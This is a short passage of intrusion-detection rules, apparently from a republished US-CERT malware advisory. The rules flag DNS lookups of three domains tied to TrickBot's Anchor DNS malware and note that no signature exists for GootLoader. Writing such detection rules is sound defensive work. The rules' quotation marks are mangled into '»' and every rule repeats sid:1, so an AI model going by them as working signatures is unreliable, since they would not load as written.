alert udp any any <> any 53 (msg: »DNS Query/Response kostunivo com (UDP) »; sid:1; rev:1; content: »|09|kostunivo|03|com|00| »; fast_pattern:only;  reference:url,medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30;  metadata:service dns;)

TrickBot

alert udp any any <> any 53 (msg: »DNS Query/Response chishir com (UDP) »; sid:1; rev:1; content: »|07|chishir|03|com|00| »; fast_pattern:only; reference:url,medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30; metadata:service dns;)

TrickBot

alert udp any any <> any 53 (msg: »DNS Query/Response mangoclone com (UDP) »; sid:1; rev:1; content: »|0A|mangoclone|03|com|00| »; fast_pattern:only; reference:url,medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30; metadata:service dns;)

GootLoader

No signature available.

References

Revisions

  • August 4, 2022: Initial Version

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Source de l’article sur us-cert.gov